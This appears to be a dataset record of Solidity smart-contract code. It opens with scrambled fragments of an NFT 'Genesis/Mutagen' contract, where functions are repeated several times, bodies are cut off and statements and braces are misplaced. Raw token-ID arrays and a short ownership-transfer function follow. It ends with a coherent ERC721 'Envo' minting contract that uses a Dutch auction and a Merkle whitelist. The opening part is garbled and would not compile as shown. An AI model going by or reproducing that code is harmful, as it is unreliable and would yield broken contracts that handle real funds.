} else if (
remainingMoonMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.moon[1];
remainingMoonMutations -= 1;
} else if (
remainingPunkMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.punk[1];
remainingPunkMutations -= 1;
uint8 regularVariantCount = 4 -
(genesis.punk[0] == layer ? 1 : 0) -
(genesis.moon[0] == layer ? 1 : 0);
newGeneration[layer] = uint8(variant % regularVariantCount);
}
if (fees > 0) {
genesis.fees = 0;
_send(fees, msg.sender);
}
}
} else {
genesis.generations.push(newGeneration);
genesis.printCounts.push(0);
uint256 fees = genesis.fees;
function mutate(uint256 genesisId, uint256 mutagenId)
external
onlyTokenOwner(genesisId)
isTokenType(genesisId, GENESIS_TOKEN)
onlyTokenOwner(mutagenId)
isTokenType(mutagenId, MUTAGEN_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
_burn(mutagenId);
uint8[4] memory newGeneration = genesis.generations[
genesis.generations.length - 1
];
(uint8 layer, uint8 variant, ) = unpackMutagenId(mutagenId);
if (
layer != genesis.punk[0] && layer != genesis.moon[0]
) {
newGeneration[layer] = uint8(variant % 4);
} else if (
remainingMoonMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.moon[1];
remainingMoonMutations -= 1;
} else if (
remainingPunkMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.punk[1];
remainingPunkMutations -= 1;
uint8 regularVariantCount = 4 -
(genesis.punk[0] == layer ? 1 : 0) -
(genesis.moon[0] == layer ? 1 : 0);
newGeneration[layer] = uint8(variant % regularVariantCount);
}
if (fees > 0) {
genesis.fees = 0;
_send(fees, msg.sender);
}
}
emit Mutation(genesisIdx, newGeneration);
function getPrintValue(uint256 printNumber)
public
pure
returns (uint256 value)
{
return
(printNumber - 1)**PRINT_CURVE_EXPONENT *
PRINT_CURVE_COEFFICIENT +
PRINT_FEE_BASE;
}
function getBurnValue(uint256 printNumber)
public
pure
returns (uint256 value)
{
return printNumber > 0 ? (getPrintValue(printNumber) * 9) / 10 : 0;
}
function getGenesisState(uint256 genesisIdx)
external
view
returns (
uint8[4][] memory generations,
uint256[] memory printCounts,
uint256 printSupply,
uint256 fees,
uint256 nextPrintValue,
uint256 nextBurnValue,
uint8[2] memory punk,
uint8[2] memory moon
)
{
Genesis memory genesis = _geneses[genesisIdx];
fees = genesis.fees;
generations = genesis.generations;
printCounts = genesis.printCounts;
printSupply = genesis.printSupply;
nextPrintValue = getPrintValue(genesis.printSupply + 1);
nextBurnValue = genesis.printSupply > 0
? getBurnValue(genesis.printSupply)
: 0;
punk = genesis.punk;
moon = genesis.moon;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token does not exist");
string memory _tokenURI = _tokenURIs[tokenId];
if (bytes(_tokenURI).length > 0) {
return _tokenURI;
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token does not exist");
string memory _tokenURI = _tokenURIs[tokenId];
if (bytes(_tokenURI).length > 0) {
return _tokenURI;
}
}
return super.tokenURI(tokenId);
function tokenAssets(uint256 tokenId)
external
view
returns (string[4] memory assets)
{
if (_tokenType(tokenId) == MUTAGEN_TOKEN) {
(, , uint256 mutagenIdx) = unpackMutagenId(tokenId);
assets[0] = string(
abi.encodePacked(
assetsBaseURL,
"/mutagen/",
_uint2str(mutagenIdx),
".svg"
)
);
uint256 genesisIdx = unpackGenesisId(tokenId);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[
genesis.generations.length - 1
];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
(uint256 genesisIdx, , uint16 printGeneration) = unpackPrintId(
tokenId
);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[printGeneration];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
}
}
function tokenAssets(uint256 tokenId)
external
view
returns (string[4] memory assets)
{
if (_tokenType(tokenId) == MUTAGEN_TOKEN) {
(, , uint256 mutagenIdx) = unpackMutagenId(tokenId);
assets[0] = string(
abi.encodePacked(
assetsBaseURL,
"/mutagen/",
_uint2str(mutagenIdx),
".svg"
)
);
uint256 genesisIdx = unpackGenesisId(tokenId);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[
genesis.generations.length - 1
];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
(uint256 genesisIdx, , uint16 printGeneration) = unpackPrintId(
tokenId
);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[printGeneration];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
}
}
} else if (_tokenType(tokenId) == GENESIS_TOKEN) {
function tokenAssets(uint256 tokenId)
external
view
returns (string[4] memory assets)
{
if (_tokenType(tokenId) == MUTAGEN_TOKEN) {
(, , uint256 mutagenIdx) = unpackMutagenId(tokenId);
assets[0] = string(
abi.encodePacked(
assetsBaseURL,
"/mutagen/",
_uint2str(mutagenIdx),
".svg"
)
);
uint256 genesisIdx = unpackGenesisId(tokenId);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[
genesis.generations.length - 1
];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
(uint256 genesisIdx, , uint16 printGeneration) = unpackPrintId(
tokenId
);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[printGeneration];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
}
}
} else if (_tokenType(tokenId) == PRINT_TOKEN) {
function tokenAssets(uint256 tokenId)
external
view
returns (string[4] memory assets)
{
if (_tokenType(tokenId) == MUTAGEN_TOKEN) {
(, , uint256 mutagenIdx) = unpackMutagenId(tokenId);
assets[0] = string(
abi.encodePacked(
assetsBaseURL,
"/mutagen/",
_uint2str(mutagenIdx),
".svg"
)
);
uint256 genesisIdx = unpackGenesisId(tokenId);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[
genesis.generations.length - 1
];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
(uint256 genesisIdx, , uint16 printGeneration) = unpackPrintId(
tokenId
);
Genesis memory genesis = _geneses[genesisIdx];
uint8[4] memory generation = genesis.generations[printGeneration];
for (uint8 i = 0; i < 4; i++) {
assets[i] = string(
abi.encodePacked(
assetsBaseURL,
"/genesis/",
_uint2str(genesisIdx),
"/l",
_uint2str(i),
"v",
_uint2str(generation[i]),
".png"
)
);
}
}
}
function setMinter(address newMinter) external onlyOwner {
_minter = newMinter;
}
function mintGenesis(address to, uint8 genesisIdx) external onlyMinter {
require(genesisIdx < MAX_GENESIS_TOKENS, "Invalid Genesis index");
uint256 genesisId = packGenesisId(genesisIdx);
_safeMint(to, genesisId);
}
function mintMutagen(
address to,
uint8 layer,
uint8 variant,
uint16 mutagenIdx
) external onlyMinter {
require(layer < 4, "Invalid layer");
require(variant < 100, "Invalid variant number");
require(mutagenIdx < MAX_MUTAGEN_TOKENS, "Invalid Mutagen index");
uint256 mutagenId = packMutagenId(layer, variant, mutagenIdx);
_safeMint(to, mutagenId);
}
function withdrawProtocolFees(address to) public onlyOwner {
uint256 fees = protocolFees;
protocolFees = 0;
_send(fees, to);
}
function setMetadataBaseURL(string memory newURI) external onlyOwner {
metadataBaseURL = newURI;
}
function setTokenURI(uint256 tokenId, string memory newURI)
external
onlyOwner
{
string memory _tokenURI = _tokenURIs[tokenId];
require(bytes(_tokenURI).length == 0, "Token URI already set");
_tokenURIs[tokenId] = newURI;
emit PermanentURI(newURI, tokenId);
}
modifier onlyTokenOwner(uint256 tokenId) {
require(msg.sender == ownerOf(tokenId), "Not the token owner");
_;
}
modifier onlyMinter() {
require(msg.sender == _minter, "Not the minter");
_;
}
function _initGenesis(
uint8 genesisIdx,
uint8[2] memory moon,
uint8[2] memory punk,
uint8[4] memory startingGeneration
) internal {
require(genesisIdx < MAX_GENESIS_TOKENS, "Invalid Genesis index");
Genesis storage genesis = _geneses[genesisIdx];
genesis.moon = moon;
genesis.punk = punk;
genesis.generations.push(startingGeneration);
genesis.printCounts.push(0);
genesis.printNonce = 0;
genesis.printSupply = 0;
}
function _collectFees(uint256 genesisIdx) internal returns (uint256) {
Genesis storage genesis = _geneses[genesisIdx];
uint256 fee = getPrintValue(genesis.printSupply + 1);
require(msg.value >= fee, "Insufficient value");
uint256 reserveFee = getBurnValue(genesis.printSupply + 1);
uint256 feeShare = (fee - reserveFee) / 2;
require(reserveFee + feeShare + feeShare == fee, "Fees do not add up");
reserve += reserveFee;
genesis.fees += feeShare;
protocolFees += feeShare;
return fee;
}
function _refundExcess(uint256 usedFees) internal {
if (msg.value > usedFees) {
_send(msg.value - usedFees, msg.sender);
}
}
function _refundExcess(uint256 usedFees) internal {
if (msg.value > usedFees) {
_send(msg.value - usedFees, msg.sender);
}
}
function _send(uint256 amount, address to) internal {
require(
address(this).balance - amount >= reserve,
"Cannot send reserves"
);
require(success, "Payment failed");
}
(bool success, ) = to.call{value: amount}("");
function _baseURI() internal view override returns (string memory) {
return
string(
abi.encodePacked(
metadataBaseURL,
"?contractAddress=",
_contractAddress(),
"&tokenId="
)
);
}
function _contractAddress() internal view returns (string memory) {
bytes memory s = new bytes(40);
for (uint256 i = 0; i < 20; i++) {
bytes1 b = bytes1(
uint8(uint256(uint160(address(this))) / (2**(8 * (19 - i))))
);
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2 * i] = _char(hi);
s[2 * i + 1] = _char(lo);
}
return string(abi.encodePacked("0x", s));
}
function _contractAddress() internal view returns (string memory) {
bytes memory s = new bytes(40);
for (uint256 i = 0; i < 20; i++) {
bytes1 b = bytes1(
uint8(uint256(uint160(address(this))) / (2**(8 * (19 - i))))
);
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2 * i] = _char(hi);
s[2 * i + 1] = _char(lo);
}
return string(abi.encodePacked("0x", s));
}
function _char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function _uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function _uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function _uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function _uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
| 9,705,714 |
[
1,
5108,
8427,
310,
8882,
1472,
300,
12901,
2204,
490,
1693,
1777,
4826,
326,
21225,
19827,
1608,
358,
506,
5456,
5600,
364,
14036,
9535,
316,
389,
14676,
2954,
281,
358,
506,
8894,
8783,
14610,
2967,
316,
738,
716,
279,
25671,
5437,
9938,
18848,
1300,
434,
31637,
2430,
18848,
1300,
434,
14138,
346,
275,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
14138,
346,
275,
1345,
353,
4232,
39,
27,
5340,
3572,
25121,
16,
8857,
4436,
1768,
16,
3124,
1989,
288,
203,
203,
565,
2254,
5034,
5381,
11770,
3217,
67,
8090,
41,
67,
8369,
273,
374,
18,
22,
225,
2437,
31,
203,
565,
2254,
5034,
5381,
11770,
3217,
67,
7509,
3412,
67,
16109,
15624,
273,
1059,
31,
203,
565,
2254,
5034,
5381,
11770,
3217,
67,
7509,
3412,
67,
3865,
26897,
1653,
7266,
2222,
273,
374,
18,
9449,
3103,
225,
2437,
31,
203,
203,
565,
2254,
28,
5381,
534,
9332,
67,
29744,
6856,
67,
3373,
38,
22879,
273,
576,
31,
203,
203,
565,
2254,
28,
5381,
4552,
67,
16652,
41,
15664,
67,
8412,
55,
273,
8063,
31,
203,
203,
565,
2254,
2313,
5381,
4552,
67,
49,
1693,
1781,
1157,
67,
8412,
55,
273,
16797,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
24,
31,
203,
5666,
288,
654,
39,
27,
5340,
16,
4232,
39,
27,
5340,
3572,
25121,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
27,
5340,
19,
9489,
19,
654,
39,
27,
5340,
3572,
25121,
18,
18281,
14432,
203,
565,
1958,
31637,
288,
203,
3639,
2254,
5034,
1172,
13611,
31,
203,
3639,
2254,
5034,
1172,
3088,
1283,
31,
203,
3639,
2254,
5034,
8526,
1172,
9211,
31,
203,
3639,
2254,
5034,
1656,
281,
31,
203,
3639,
2254,
28,
63,
22,
65,
7344,
265,
31,
203,
3639,
2254,
28,
63,
22,
65,
293,
1683,
31,
203,
3639,
2254,
28,
63,
24,
6362,
65,
1215,
2
] |
./full_match/1/0x4ff5253E2304e3f5Ed6547Ac5D9952A62B91E3E8/sources/browser/Untitled.sol
|
* Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner./
|
function _transferGovernance(address newOwner) internal virtual onlyGovernance {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit GovernanceTransferred(_owner, newOwner);
_owner = newOwner;
}
| 8,400,597 |
[
1,
1429,
18881,
23178,
434,
326,
6835,
358,
279,
394,
2236,
21863,
2704,
5541,
68,
2934,
4480,
1338,
506,
2566,
635,
326,
783,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
43,
1643,
82,
1359,
12,
2867,
394,
5541,
13,
2713,
5024,
1338,
43,
1643,
82,
1359,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
3639,
3626,
611,
1643,
82,
1359,
1429,
4193,
24899,
8443,
16,
394,
5541,
1769,
203,
3639,
389,
8443,
273,
394,
5541,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
/*///////////////////////////////////////////////////////////////////* *////////
/////////////////////////////////////////////////////////////////////, ,////////
///////////////////////////////////////////////////////////////////// .////////
/////////////////////////////////////////////////////////////////// .////////
///////////////////////////////////////////////////////////////, ,////////
/////////////////////////////////////////////////////////* *////////
///////////////////////////////////////////////*,. Oliver /////////
////////////////////////////////////*, Peter /////////
/////////////////////////////. Chris ,/////////
///////////////////////* Ismet //////////
//////////////////// Danish .//////////
///////////////// Ralf ///////////
//////////////. Erik ////////////
//////////// Lorik ,////////////
//////////. ,/////////////
///////// ,//////////////
///////, for ////////////////
//////* Marie, Jonas, Julius, Maila, ./////////////////
////// */ Dicle, Manolya, Acelya, ///////////////////
/////* */. Jalib and Max ,////////////////////
/////, *// .//////////////////////
/////*,//* "the next generation" ////////////////////////
//////// ,//////////////////////////
//////. ./////////////////////////////
///// .////////////////////////////////
//// . .////////////////////////////////////
//, //// */////////////////////////////////////////
/* /////////*,. ..,****//////////////////////////////////////////////////
/* .,/////////////////////////////////////////////////////// envoverse.com */
// created by Ralf Schwoebel - https://www.envolabs.io/ - coding for the climate
// Art with purpose: Read up on our 5 year plan to improve the climate with NFTs
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract envoContract is ERC721Enumerable, Ownable {
using Strings for uint256;
// ------------------------------------------------------------------------------
address public contractCreator;
mapping(address => uint256) public addressMintedBalance;
// ------------------------------------------------------------------------------
uint256 public constant MAX_ENVOS = 10000;
uint256 public constant VIP_ENVOS = 555;
uint256 public constant MAX_VIPWA = 1; // Only 1 in VIP list in the first swing
uint256 public constant MAX_VIPWAUNLOCK = 20; // End phase of VIP list, if something is left
uint256 public constant RES_ENVOS = 500;
uint256 public ENVOSAVAIL = 9500;
// ------------------------------------------------------------------------------
uint256 public currentDonation = 0.5 ether; // Before anything is starting - if someone "finds" contract by accident
uint256 public startDonation = 0.399 ether; // when the public auction starts
uint256 public endDonation = 0.199 ether; // when the auction ends
uint256 public restingDonation = 0.333 ether; // long term value - remember Issus
uint256 public vipDate = 1646502955; // Date and time (GMT) - will be: Saturday, March 5, 2022 5:55:55 PM
uint256 public vipDateUnlock = 1646546155; // Date and time (GMT) - will be: Sunday, March 6, 2022 5:55:55 AM - WL go crazy
uint256 public vipDonation = 0.075 ether; // VIP value before the auction starts
uint256 public startDate = 1646675755; // Start Auction Date and time (GMT) - will be: Monday, March 7, 2022 5:55:55 PM
uint256 public endDate = 1646762155; // End Auction Date and time (GMT) - will be: Tuesday, March 8, 2022 5:55:55 PM
uint256 public vipCounter = 0;
// ------------------------------------------------------------------------------
string public baseTokenURI;
string public baseExtension = ".json";
bool public isActive = true;
// ------------------------------------------------------------------------------
bytes32 public VIPMerkleRoot;
bytes32[] VIPMerkleProofArr;
address envolabsWallet = 0x5C8175298d3bdC2B5168773A4ac72d81f5122fF1; // Secured founders wallet,
address pumaWallet = 0x4B26BdF68Ac9Abfb19F6146313428E7F8B6041F4; // thank you,
address ponderwareWallet = 0xD342a4F0397B4268e6adce89b9B88C746AFA85Ee; // for the support!
address nineWallet = 0x8c0d2B62F133Db265EC8554282eE60EcA0Fd5a9E; // 9x9x9, thanks, buddy!
event mintedEnvo(uint256 indexed id);
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
contractCreator = msg.sender;
setBaseURI(_initBaseURI);
mint(envolabsWallet, 14); // mint the first 16 to the founders envolabs wallet, supporters and honorary
mint(pumaWallet, 2); // Thank you for the support, PUMA.eth!
mint(ponderwareWallet, 4); // Thank you for the support, mooncats!
mint(nineWallet, 1); // Thank you for the support, 9x9x9!
}
// internal return the base URI
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
// ------------------------------------------------------------------------------------------------
// public mint function - mints only to sender!
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
currentDonation = calcValue();
if(msg.sender != contractCreator) {
require(isActive, "Contract paused!");
}
require(_mintAmount > 0, "We can not mint zero...");
require(supply + _mintAmount <= ENVOSAVAIL, "Supply exhausted, sorry we are sold out!");
if(msg.sender != contractCreator) {
require(msg.value >= currentDonation * _mintAmount, "You have not sent enough currency.");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
emit mintedEnvo(supply + i);
}
}
// ------------------------------------------------------------------------------------------------
// VIP Miniting functions (aka Whitelist) - used via envoverse.com website - mints only one!
function VIPmint(bytes32[] calldata merkleArr) public payable {
uint256 supply = totalSupply();
uint256 currentTime = block.timestamp;
require(currentTime >= vipDate, "VIP cycle has not started yet!");
require(currentTime <= startDate, "VIP cycle has ended, all ENVOS are now in the same set!");
// set the proof array for the VIPlist for whitelisters
VIPMerkleProofArr = merkleArr;
require(
MerkleProof.verify(
VIPMerkleProofArr,
VIPMerkleRoot,
keccak256(abi.encodePacked(msg.sender))
), "Address does not exist in VIP list"
);
require(vipCounter < VIP_ENVOS, "VIP list exhausted");
require(supply + 1 <= ENVOSAVAIL, "max NFT limit exceeded");
if(currentTime < vipDateUnlock) {
require(balanceOf(msg.sender) <= MAX_VIPWA, "You have reached your maximum allowance of Envos.");
} else {
require(balanceOf(msg.sender) <= MAX_VIPWAUNLOCK, "You have reached your maximum allowance of Envos.");
}
require(msg.value >= vipDonation, "You have not sent enough value.");
_safeMint(msg.sender, supply + 1);
vipCounter = vipCounter + 1;
emit mintedEnvo(supply + 1);
}
// --------------------------------------------------------------------------------------
function setVIPMerkleRoot(bytes32 merkleRoot) public onlyOwner {
VIPMerkleRoot = merkleRoot;
}
function setMerkleProof(bytes32[] calldata merkleArr) public onlyOwner {
VIPMerkleProofArr = merkleArr;
}
// ------------------------------------------------------------------------------------------------
// ------------------------------------------------------------------------------------------------
// Dutch auction in hourly steps (optional, set to same values, if disabled)
function calcValue() internal view returns (uint256 nowValue) {
// local vars to calc time frame and VIP values
uint256 currentTime = block.timestamp;
uint256 tickerSteps = endDate - startDate;
uint256 currentSteps;
uint256 daValueSteps;
// check config
require(isActive, "Donations are paused at the moment!");
// No VIP sale yet nor did auction start!
// ----------------------------------- regular value calc
if(currentTime < startDate) {
return currentDonation;
}
// there is only one value at the end of the auction = final
if(currentTime > endDate) {
return restingDonation;
} else {
// calc the hourly dropping dutch value
daValueSteps = (startDonation - endDonation) / tickerSteps;
currentSteps = currentTime - startDate;
return startDonation - (daValueSteps * currentSteps);
}
}
// ------------------------------------------------------------------------------------------------
// ------------------------------------------------------------------------------------------------
// - useful other tools
// -
function showVIPproof() public view returns (bytes32[] memory) {
return VIPMerkleProofArr;
}
// -
function giveRightNumber(uint256 myNumber) public pure returns (uint) {
return myNumber % 10;
}
// -
function showCurrentDonation() public view returns (uint256) {
return calcValue();
}
// -
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseTokenURI = _newBaseURI;
}
// show current blockchain time
function showBCtime() public view returns (uint256) {
return block.timestamp;
}
// give complete tokenURI back, if base is set
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, giveRightNumber(tokenId).toString(), "/envo", tokenId.toString(), baseExtension)) : "";
}
//---------------------------------------------------------------------------------------
//---------------------------------------------------------------------------------------
// config functions, if needed for updating the settings by creator
function changeReserved(uint256 newTotal) public onlyOwner {
ENVOSAVAIL = newTotal;
}
function setStartDonation(uint256 newStartDonation) public onlyOwner {
startDonation = newStartDonation;
}
function setEndDonation(uint256 newEndDonation) public onlyOwner {
endDonation = newEndDonation;
}
function setStartDate(uint256 newStartTimestamp) public onlyOwner {
startDate = newStartTimestamp;
}
function setEndDate(uint256 newEndTimestamp) public onlyOwner {
endDate = newEndTimestamp;
}
function setVIPDate(uint256 newVIPTimestamp) public onlyOwner {
vipDate = newVIPTimestamp;
}
function setVIPUnlockDate(uint256 newVIPTimestamp) public onlyOwner {
vipDateUnlock = newVIPTimestamp;
}
function setVIPDonation(uint256 newVIPDonation) public onlyOwner {
vipDonation = newVIPDonation;
}
function setRestingDonation(uint256 newRestingDonation) public onlyOwner {
restingDonation = newRestingDonation;
}
// ----------------------------------------------------------------- WITHDRAW
function withdraw() public onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function withdrawAllToAddress(address addr) public onlyOwner {
require(payable(addr).send(address(this).balance));
}
}
